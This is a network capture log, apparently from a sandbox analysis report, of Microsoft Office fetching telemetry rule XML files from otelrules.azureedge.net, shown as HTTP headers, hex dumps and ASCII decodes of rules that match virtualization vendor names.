2024-11-01 04:53:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045309Z-16849878b78qg9mlz11wgn0wcc0000000a3g00000000d58t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:10 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045310Z-16849878b786fl7gm2qg4r5y700000000ay00000000005r4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:10 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045310Z-16849878b78fhxrnedubv5byks00000008ug00000000f1ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:10 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045310Z-16849878b78fhxrnedubv5byks00000008ug00000000f1kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:10 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 11b83051-201e-005d-1b95-2bafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045310Z-159b85dff8fqn89xhC1DFWe83c00000000zg000000000442 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:10 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 5b2d2bb9-d01e-0028-519c-277896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045310Z-15b8d89586fpccrmgpemqdqe5800000005bg000000009s0r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:11 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:11 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 98e85290-a01e-0021-7dec-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045311Z-16849878b78fssff8btnns3b140000000ar000000000r851 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:11 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:11 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045311Z-16849878b78wc6ln1zsrz6q9w80000000a5g00000000fp23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:11 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:11 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045311Z-16849878b786fl7gm2qg4r5y700000000axg000000001apq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:11 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:11 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:11 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4fe48f14-f01e-005d-23b7-2a13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045311Z-159b85dff8fc5h75hC1DFWntr8000000020g00000000brgb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:11 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:11 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:11 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045311Z-16849878b786fl7gm2qg4r5y700000000ay00000000005vn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:11 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:12 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045312Z-16849878b786lft2mu9uftf3y40000000bug000000007x1n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" 